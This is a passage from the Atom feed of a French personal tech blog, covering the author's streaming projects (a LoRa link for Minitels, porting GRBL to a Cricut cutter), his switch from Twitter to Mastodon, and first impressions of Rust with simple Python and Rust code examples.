puisse servir à d'autres. Et puis intégrer tout ça au projet 3615 LoRa, qui permettra à deux Minitels de communiquer en
sans-fil avec une portée de plusieurs kilomètres !&lt;/p&gt;
&lt;p&gt;Le second projet, plus conséquent, concerne le portage de GRBL (un logiciel de commande de machine numérique) sur la Cricut
Maker, une découpeuse vinyle closed-source. Le gros de la rétro-ingénierie a été faite, et le portage de GRBL permet
désormais de communiquer via du GCODE grâce au port USB de la Cricut Maker. Reste le pilotage des moteurs qui de prime
abord se passait bien, jusqu'à ce que vienne le moment d'intégrer ces derniers avec le code de GRBL. En effet, GRBL
a été initialement développé pour piloter des moteurs pas-à-pas (steppers), et non des moteurs à courant continu couplés
à des encodeurs rotatifs comme c'est le cas sur cette découpeuse. Mon intuition me disait que les piloter comme des steppers
serait un échec, et les derniers essais en stream ont bien démontré que c'était le cas. Bref, il va falloir que
je m'arme de courage et que j'arrive à implémenter un pilotage efficace de ces moteurs, malgré le fait que ce soit la
première fois que je m'attaque à ce type de code. Mais il paraît que c'est formateur, donc je vais m'accrocher 😅.&lt;/p&gt;
&lt;p&gt;Je pense que j'ai réussi à m'y tenir, à ces deux projets, durant les différents streams depuis janvier. Bon ok, une fois
je n'avais pas le courage ou l'esprit à coder, et on a fait autre chose (hack hardware). Mais ce n'est arrivé qu'une seule fois !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="trucs-a-venir"&gt;
&lt;h2&gt;Trucs à venir&lt;/h2&gt;
&lt;p&gt;Depuis le COVID et le confinement, je m'étais sérieusement calmé sur ma participation à des conférences en présentiel et
je n'avais pas soumis de sujet de talk (ou très peu) durant les dernières années. Il semblerait que j'ai repris goût à
donner des talks, et que plusieurs des talks que j'ai soumis (pour certains en collaboration avec Romain Cayre) aient été
acceptés à différentes conférences. J'ai ainsi fait un tour en mars à Lausanne, à l'occasion de la conférence Insomni'hack,
et serai normalement présent dans quelques semaines à la &lt;a class="reference external" href="https://thcon.party"&gt;Toulouse Hacking Convention&lt;/a&gt; ainsi qu'à
&lt;a class="reference external" href="https://sstic.org/2023/"&gt;SSTIC&lt;/a&gt; en juin. Ça sera aussi l'occasion de rencontrer des gens autour d'un verre (de bière, de
coca ou de Club Mate), de discuter cybersécurité et hacking (ou autre), et de voyager un peu dans des contrées pas si
lointaines 😆...&lt;/p&gt;
&lt;p&gt;En tout cas, si vous avez prévu de participer à l'un de ces évènements, n'hésitez pas à me pinger sur Mastodon !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="twitter-vs-mastodon-quelques-mois-apres"&gt;
&lt;h2&gt;Twitter vs. Mastodon, quelques mois après&lt;/h2&gt;
&lt;p&gt;En parlant de Mastodon, je profite de ce billet pour faire un premier bilan de ma bascule du site de l'oiseau bleu à
celui du pachyderme fédéré. Pour rappel, j'ai conservé mon compte Twitter mais ne poste plus dessus et ai créé un compte
Mastodon sur lequel je suis désormais actif. Je publie de temps en temps, principalement sur des sujets liés à la
cybersécurité (on ne se refait pas), mes streams et les projets en cours, ainsi que sur la publication des vidéos de replay
de ces streams sur &lt;a class="reference external" href="https://video.ploud.fr/c/virtutv/videos"&gt;ma chaîne Peertube&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Premier constat après quelques mois d'utilisation normale: j'apprécie grandement l'absence de publicité et de tweets
&amp;quot;intrusifs&amp;quot; ou sponsorisés. J'essaie de suivre des comptes assez divers, histoire de ne pas m'enfermer dans une bulle, et
je suis assez agréablement surpris de voir que pas mal de gens de la communauté cybersécurité ont créé des comptes Mastodon
et publient/réagissent régulièrement. Du coup, la veille technique est facilitée et me permet de me tenir à jour en ne
consultant que Mastodon, ce qui est très appréciable. Certes, j'ai du dire adieu à mes 5000+ followers, mais ça fait
énormément de bien au mental d'utiliser une plateforme plus saine et peuplée de personnes différentes qui ne sont pas sur
Twitter. Ce qui implique donc de croiser de nouvelles têtes, d'avoir des échanges différents de ceux que je pouvais avoir
précédemment, bref de toucher d'autres profils, de nouvelles personnes et de pouvoir échanger avec ces dernières.&lt;/p&gt;
&lt;p&gt;Toutefois, il y a quelques éléments qui sont décevants avec Mastodon (enfin, surtout les utilisateurs) et qui valent
le coup d'être notés. Le premier, c'est de voir que certaines personnes qui possèdent un compte Twitter et Mastodon
et qui postaient sur les deux plateformes au moment des frasques d'Elon ne publient plus que sur Twitter et gardent
leur compte Mastodon en backup. C'était attendu, Mastodon n'étant pas un clone de Twitter, et Twitter continuant de
fonctionner &amp;quot;comme prévu&amp;quot; malgré les décisions random prises par son dirigeant. Mais ce n'est pas grave, c'est juste
frustrant de ne pouvoir réagir à leurs messages sur le site de l'oiseau, car je me suis promis de ne plus y participer.
Le second aspect concerne les réactions aux toots: il est difficile de savoir comment ces derniers sont perçus car la
seule métrique que l'on possède en tant qu'auteur d'un toot est le nombre de &lt;em&gt;likes&lt;/em&gt; ou de &lt;em&gt;retoots&lt;/em&gt; qu'a reçu un &lt;em&gt;toot&lt;/em&gt;
particulier. J'ai donc pris l'habitude de &lt;em&gt;re-tooter&lt;/em&gt; et de &lt;em&gt;liker&lt;/em&gt; des toots pour notifier à leurs auteurs que je les
ai appréciés, en espérant que cela leur permettra d'avoir une idée plus précise de l'impact que leur &lt;em&gt;toot&lt;/em&gt; peut avoir.
Car oui, quand on partage quelque-chose dans le vide pendant quelques mois, ça donne vite l'impression que c'est inutile
voire invisible. Soutenons nos pouèteurs favoris 💪 !&lt;/p&gt;
&lt;p&gt;Au global, je ne regrette pas ce passage à Mastodon, loin de là ! J'adore certaines des fonctionnalités offertes par cette
plateforme, et pour rien au monde je ne voudrais revenir à Twitter. Il m'arrive quand même de suivre de temps à autre mon
fil Twitter, mais j'y retrouve la grande majorité des évènements ou informations que j'ai déjà vu sur Mastodon ... la
publicité et les tweets inutiles en plus. Et je ne parlerai pas des dernières décisions du sieur Musk quant à l'avenir de
la plateforme à l'oiseau bleu.&lt;/p&gt;
&lt;p&gt;Allez, je vais continuer à me concentrer sur mes projets en cours, mes streams hebdomadaires et j'espère pouvoir poster un
nouveau billet dans quelques mois !&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="projets"/><category term="streaming"/><category term="mastodon"/></entry><entry><title>Twitter ou Mastodon ?</title><link href="https://virtualabs.fr/humeur/twitter-ou-mastodon" rel="alternate"/><published>2022-12-18T23:00:00+01:00</published><updated>2022-12-18T23:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2022-12-18:/humeur/twitter-ou-mastodon</id><summary type="html">&lt;p&gt;Bon, il est temps pour moi de faire le point sur Twitter. De savoir si oui ou non, je vais désactiver mon compte et
pour quelles raisons. Ce que je vais y perdre ou gagner, les conséquences à court et moyen terme. Au moment où
vous lisez ce début de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Bon, il est temps pour moi de faire le point sur Twitter. De savoir si oui ou non, je vais désactiver mon compte et
pour quelles raisons. Ce que je vais y perdre ou gagner, les conséquences à court et moyen terme. Au moment où
vous lisez ce début de billet (et au moment même où je l'ai écrit), je ne me suis pas encore décidé. Normalement à
la fin de celui-ci (tout en bas de cette page), je devrais m'être décidé, avec en prime les arguments qui ont
éclairé ma décision.&lt;/p&gt;
&lt;div class="section" id="twitter-moi"&gt;
&lt;h2&gt;Twitter &amp;amp; moi&lt;/h2&gt;
&lt;p&gt;J'ai créé mon compte Twitter en mars 2009, il y a donc de cela plus de 13 ans. Je ne sais plus qui m'en avait parlé,
mais cela devait certainement être dans mon cercle de potes de l'époque, via IRC. Twitter avait le
vent en poupe, était relativement simple à prendre en main, et semblait un très bon moyen de relayer mes billets
de blog à une époque où les flux RSS étaient encore bien employés. C'était aussi un bon moyen de se tenir informé,
de faire de la veille technique. Mon premier tweet date d'octobre 2009, lors d'une mission qui se déroulait à Tahiti
(histoire de narguer les collègues je suppose):&lt;/p&gt;
&lt;img alt="Mon premier tweet" src="/images/2022-12-18/first-tweet.png" /&gt;
&lt;p&gt;C'était aussi le moment où la Hadopi a été créée (1er janvier 2010) et où on a bien rigolé avec ses déboires
(Albanel, site web KO, etc.). J'ai même retrouvé un tweet sexiste au possible de mon moi de l'époque (et je
m'en excuse d'avance)...&lt;/p&gt;
&lt;img alt="Mon premier tweet" src="/images/2022-12-18/tweet-honteux.png" /&gt;
&lt;p&gt;Punaise, ça me fait tout drôle de relire mes anciens tweets. J'étais jeune et con, c'est sans appel. Je retrouve
pas mal d'histoires, des échanges avec des twittos comme Stéphane Bortzmeyer, Bluetouff, Guillaume Champeau.
Nostalgie. 13 ans. Forcément, j'ai un attachement pour cette plateforme à laquelle j'ai participé durant toutes
ces années, j'y ai investi du temps et y ai fait de belles rencontres.&lt;/p&gt;
&lt;p&gt;Les années passant, j'ai continué d'utiliser Twitter pour promouvoir mes billets de blog et mes projets de
développement, puis mes participations à diverses conférences ainsi que mes différents talks. Les billets de
blog se sont fait de plus en plus discrets, de plus en plus espacés jusqu'au point où je publiais trois billets
par an. Si vous regardez le nombre de billets publiés pour 2022, je pense qu'on ne doit pas en être loin non
plus 😅. Mon usage de Twitter a évolué, je restais sur ce réseau social pour les échanges et les personnes,
la promotion de mes bidouilles et talks, la publication de slides ou de liens Github, pour communiquer avec mes
amis, collègues et connaissances. J'y restais parce que bon nombre de personnes gravitant dans le milieu de
la cybersécurité y étaient présentes, que je pouvais y faire ma veille relativement facilement.&lt;/p&gt;
&lt;p&gt;Je me sers encore aujourd'hui de Twitter comme source d'information, de source d'alertes en temps réel concernant
la cybersécurité principalement (mais pas que). J'y tweete mes participations à des conférences, les annonces
de mes streams sur Twitch, et mes humeurs et réactions du moment. Récemment, cela a beaucoup concerné la plateforme
Twitter elle-même et les décisions prises par Elon. Au point qu'à chaque fois que j'y retourne, c'est pour
chercher quelle nouvelle bonne ou mauvaise idée a eu Elon, les réactions des différentes communautés aux coups
de tête du dirigeant. J'arrive à y faire ma veille, mais c'est plus laborieux qu'auparavant. Tout est entrecoupé
de tweets sponsorisés, de tweets promus ou mis en avant que je pourrais aimer (non), et il devient difficile de
trouver la substantifique moëlle.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="mastodon"&gt;
&lt;h2&gt;Mastodon&lt;/h2&gt;
&lt;p&gt;Entre temps, en 2018, j'ai créé un compte Mastodon sur l'instance de La Quadrature du Net, &lt;a class="reference external" href="https://mamot.fr"&gt;Mamot&lt;/a&gt;. Je ne sais plus
exactement pour quelle raison — l'apparition d'une alternative à Twitter ou des incertitudes sur l'avenir
de la plateforme, toujours est-il que j'ai testé pendant quelques semaines mais rapidement laissé tomber car
seuls quelques connaissances étaient dessus et la majorité des pouets que je voyais passer étaient dans
des langues étrangères que je ne maîtrise pas. C'était clairement un réseau social de niche en 2018.
C'est donc tout naturellement que je suis resté où mes amis et connaissances se trouvaient, à savoir sur Twitter.&lt;/p&gt;
&lt;p&gt;Avance rapide en 2022, et l'annonce du rachat effectif de Twitter par Elon Musk. J'ai lu la nouvelle sur Twitter,
durant un petit-déjeuner avec un collègue lors d'une participation à une conférence. Je n'ai pas pu m'empêcher
de rire intérieurement tellement cela semblait improbable. Un milliardaire rachète Twitter, un peu forcé par ses
précédentes frasques (Elon avait fait une offre et tentait ensuite d'esquiver l'achat autant que possible), et
se retrouve du jour au lendemain à la tête d'un réseau social. &amp;quot;Let that sink in&amp;quot;. Gérer un réseau social,
ce n'est pas juste gérer une entreprise et faire en sorte qu'elle soit rentable mais bel et bien comprendre les
responsabilités quant aux règles en vigueur sur ce dernier. Se rendre compte qu'une décision concernant ce que
les utilisateurs ont le droit de faire (ou non) impacte des millions de personnes et est perçue de différente
façon en fonction des pays et des cultures. Au vu du passif de Musk, et notamment sur la plateforme Twitter lors
des élections américaines, cela présageait du mouvement.&lt;/p&gt;
&lt;p&gt;A ce moment précis donc, une fois rentré de la conférence, j'ai repris en main mon compte Mastodon. L'occasion
de voir que la plateforme avait beaucoup évoluée par rapport à celle que j'ai testée en 2018, et que de nombreuses
personnes étaient en train d'arriver suite aux dernières évolutions sur Twitter. Musk remercie 75% des employés,
et Mastodon accueille une vague de tweetos qui cherchent un plan B. Les premières décision d'Elon sont assez
radicales, je décide de prendre le temps de voir comment Twitter va évoluer et de poster à la fois sur Twitter
et Mastodon. Et je me donne un mois ou deux pour faire le point.&lt;/p&gt;
&lt;p&gt;L'heure est donc venue.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="prise-de-decision"&gt;
&lt;h2&gt;Prise de décision&lt;/h2&gt;
&lt;p&gt;J'ai toujours été réticent à quitter Twitter, pour une simple raison je crois: l'audience. Après plus de 13 ans,
j'ai plus de 5000 followers. C'est autant de personnes qui recevront mes tweets. Cela donne de la visibilité,
qui m'est nécessaire dans le cadre de mon travail. Je suis passé d'un compte Twitter purement personnel à un compte
visible (à une certaine échelle), qui me sert aussi à promouvoir mes talks et outils tout comme certaines publications
et participations de mon employeur à des évènements. Avec Mastodon, je repars de zéro sans certitude que l'audience
suivra.&lt;/p&gt;
&lt;p&gt;Cependant, depuis que j'utilise Mastodon je retrouve l'ambiance qu'il y avait en 2009 sur Twitter. Je découvre des
personnes intéressantes à suivre, des informations et échanges intéressants, et récemment beaucoup de personnes
de la cybersécurité ont créé des comptes Mastodon sur une instance spécialisée dans ce domaine (&lt;a class="reference external" href="https://infosec.exchange"&gt;https://infosec.exchange&lt;/a&gt;).
J'y retrouve donc les personnes que je suivais sur Twitter, qui sont actives depuis quelques mois sur Mastodon, et
qui pour certaines d'entre elles publient comme moi sur les deux réseaux. Et bien sûr le tout sans publicité ni pouets
sponsorisés, sans algorithme décidant ce qui peut être intéressant pour moi.&lt;/p&gt;
&lt;p&gt;La décision est donc prise: je n'utiliserai plus que Mastodon et laisserai Twitter de côté. Mon compte Twitter restera
actif, car j'utilise ce compte pour m'authentifier sur certains services et qu'il indique où me trouver sur Mastodon.
Au lieu de donner 8$ à une plateforme dont les règles vont dépendre de résultats de sondages, je préfère faire un don
récurrent à La Quadrature du Net qui s'occupe (entre autres) de l'instance Mastodon qui m'héberge. Bye Twitter, so long
and thanks for all the fish !&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="twitter"/><category term="drama"/><category term="mastodon"/></entry><entry><title>Découverte du langage Rust</title><link href="https://virtualabs.fr/geekeries/decouverte-rust" rel="alternate"/><published>2022-05-19T23:00:00+02:00</published><updated>2022-05-19T23:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2022-05-19:/geekeries/decouverte-rust</id><summary type="html">&lt;p&gt;Cela doit bien faire un an que le langage Rust me fait de l'oeil. Rust se veut rapide, fiable, économe en mémoire,
mais aussi sécurisé par design. En effet, il incorpore des mécanismes évitant au développeur les erreurs habituelles
pouvant aboutir à des vulnérabilités applicatives: adieu &lt;em&gt;buffer overflows&lt;/em&gt;, &lt;em&gt;use-after-free&lt;/em&gt;, etc …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cela doit bien faire un an que le langage Rust me fait de l'oeil. Rust se veut rapide, fiable, économe en mémoire,
mais aussi sécurisé par design. En effet, il incorpore des mécanismes évitant au développeur les erreurs habituelles
pouvant aboutir à des vulnérabilités applicatives: adieu &lt;em&gt;buffer overflows&lt;/em&gt;, &lt;em&gt;use-after-free&lt;/em&gt;, etc. Le langage commence
à être mature (il a été créé il y a plus de dix ans), et possède une bonne communauté, ce qui est plutôt pratique (et
on aura l'occasion d'en reparler plus bas dans ce billet).&lt;/p&gt;
&lt;p&gt;Bref, je me suis donc dit qu'il était temps en 2022 de tester ce langage par la pratique, histoire de mieux appréhender
ses concepts et subtilités. Ce billet de blog est un premier retour à chaud de mon début d'apprentissage du Rust, qui
s'est principalement déroulé en live sur ma chaîne Twitch, ainsi que mes premières impressions au regard des autres
langages auxquels je suis habitué (globalement C et Python).&lt;/p&gt;
&lt;div class="section" id="prise-en-main-du-langage-rust-premier-projet"&gt;
&lt;h2&gt;Prise en main du langage Rust, premier projet&lt;/h2&gt;
&lt;p&gt;Rien de mieux pour tester un langage que de se lancer dans un petit projet pratique. En ce qui me concerne (et après une
rapide recherche pour m'assurer de la faisabilité), je me suis décidé à développer un logiciel pour interfacer mon AKAI
APC mini reçu à Noël avec OBS Studio. De cette façon, je pourrai piloter OBS (mon logiciel de streaming) avec ce magnifique
clavier MIDI, tout en ayant un retour visuel sur ce dernier. Franchement, je trouvais ce projet relativement ambitieux,
vu que cela implique de communiquer avec le clavier MIDI et OBS Studio via une websocket. Aucune idée de comment réaliser
cela de prime abord, mais je savais que Rust avait des modules (des &lt;em&gt;crates&lt;/em&gt;) pour gérer cela.&lt;/p&gt;
&lt;p&gt;J'ai suivi dans un premier temps le tutorial officiel (qui d'ailleurs a sa traduction non-officielle en français disponible
sur &lt;a class="reference external" href="https://jimskapt.github.io/rust-book-fr/"&gt;https://jimskapt.github.io/rust-book-fr/&lt;/a&gt;, merci &lt;em&gt;jimskapt&lt;/em&gt; !), histoire de découvrir les principales fonctionnalités
et de faire des parallèles avec celles du C ou encore de C++. Mauvaise idée d'ailleurs, de faire des parallèles avec d'autres
langages, mais je m'en suis rendu compte assez rapidement.&lt;/p&gt;
&lt;p&gt;Au final, il m'aura fallu quelques soirées de coding pour arriver à un résultat probant, alors que je pensais sincèrement
que j'allais galérer. Bon d'accord, j'avais aussi de l'aide de certaines personnes sur le chat Twitch (encore un grand merci
à &lt;em&gt;speace&lt;/em&gt;, &lt;em&gt;lilymonade&lt;/em&gt;, &lt;em&gt;jimskapt&lt;/em&gt; et ceux que j'oublie), et cela a certainement aussi joué sur le temps de développement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="l-ecosysteme-rust"&gt;
&lt;h2&gt;L'écosystème Rust&lt;/h2&gt;
&lt;p&gt;La première chose qui m'a étonné lorsque j'ai débuté le tutorial est la prédominance de &lt;em&gt;cargo&lt;/em&gt;. &lt;em&gt;Cargo&lt;/em&gt; est l'outil qui
fait le café et bien plus en Rust, qui permet de démarrer un projet, de vérifier le code, de le compiler, de gérer les
dépendances, etc... Je ne suis d'habitude pas super fan de ce genre d'outils (type &lt;em&gt;bower&lt;/em&gt;, &lt;em&gt;grunt&lt;/em&gt; et consors), mais je
dois avouer qu'avoir un outil &amp;quot;officiel&amp;quot; permettant de gérer tout cela est très pratique. &lt;em&gt;Cargo&lt;/em&gt; utilise bien sûr le
compilateur de Rust (&lt;em&gt;rustc&lt;/em&gt;) pour les phases de compilation et de vérification (enfin je crois), qui est aussi très intéressant.&lt;/p&gt;
&lt;p&gt;En effet, le compilateur aide énormément l'utilisateur, contrairement à &lt;em&gt;gcc&lt;/em&gt; et ses erreurs cryptiques. En cas de problème,
il essaie même de proposer des solutions pour le corriger, ce qui est &lt;strong&gt;très appréciable&lt;/strong&gt; ! Cela m'a permis de résoudre
tout seul quelques erreurs dans le code, gratifiant quand on débute. Plusieurs profils de compilation sont
proposés, pour permettre le débogage (avec toutes les informations de débogage dans le binaire) ou la release du logiciel
(qui favorise les performances à l'exécution).&lt;/p&gt;
&lt;p&gt;Enfin, Rust dispose d'un magasin de bibliothèques collaboratives (&lt;em&gt;https://crates.io&lt;/em&gt;) à la sauce &lt;em&gt;npm&lt;/em&gt; ou &lt;em&gt;pypi&lt;/em&gt;, qui
fournit tout un ensemble de bibliothèques (ou &lt;em&gt;crates&lt;/em&gt;) qui peuvent être utilisées en Rust. C'est à mon avis le seul
point noir de cet écosystème, car tout comme sur &lt;em&gt;npm&lt;/em&gt; ou &lt;em&gt;pypi&lt;/em&gt; il faut bien analyser les différentes &lt;em&gt;crates&lt;/em&gt; pour
éviter de tomber sur une qui soit bien maintenue et ayant bonne réputation. On n'est pas à l'abri de la disparition
d'une &lt;em&gt;crate&lt;/em&gt; ou de dérives que l'on a pu voir sur &lt;em&gt;npm&lt;/em&gt; (sabotage ou piratage de bibliothèques).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="fonctionnalites-du-langage"&gt;
&lt;h2&gt;Fonctionnalités du langage&lt;/h2&gt;
&lt;p&gt;Je ne vais pas couvrir en détail l'ensemble des fonctionnalités qu'offre le langage Rust (car je suis loin de les
avoir toutes testées :p), juste mentionner celles qui m'ont marquées. Et on commence par un type particulier, &lt;cite&gt;Option&lt;/cite&gt;.
Quand je l'ai utilisé la première fois, je ne me suis pas rendu directement compte de son utilité, mais celle-ci
s'est révélée au fur et à mesure que j'apprenais ce langage.&lt;/p&gt;
&lt;p&gt;En Rust, il n'y a pas de &lt;cite&gt;None&lt;/cite&gt; ou de &lt;cite&gt;nil&lt;/cite&gt;, aucun mot-clé particulier permettant de spécifier qu'une variable ne
contient juste rien. Le type &lt;cite&gt;Option&lt;/cite&gt; fournit un genre de conteneur qui peut ne rien contenir ou contenir une valeur
particulière. La subtilité est là toutefois: on a un type dédié que l'on peut utiliser pour des variables ou paramètres
qui peuvent être vide, et donc optionnels. Prenons un exemple en python:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;greet_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Hello, &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt; !&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Hello, anonymous !&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;greet_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;virtualabs&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;greet_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;La définition de la fonction ne permet pas de déterminer &lt;em&gt;a priori&lt;/em&gt; que le paramètre &lt;cite&gt;username&lt;/cite&gt; peut avoir comme
valeur &lt;cite&gt;None&lt;/cite&gt;. L'équivalent en Rust est à mon sens plus lisible car la définition de la fonction précise, grâce à
l'usage de ce type &lt;cite&gt;Option&lt;/cite&gt;, que le paramètre est optionnel:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;greet_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;amp;&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Hello, {} !&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Hello, anonymous !&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;greet_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;virtualabs&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;greet_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et il en est de même pour les fonctions qui peuvent retourner un &lt;cite&gt;Option&lt;/cite&gt; afin que la fonction appelante puisse déterminer
si la fonction appelée retourne un résultat ou non, comme cet exemple tiré de la documentation officielle:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;divide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;numerator&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;f64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;denominator&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;f64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;f64&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;denominator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;None&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;numerator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;denominator&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
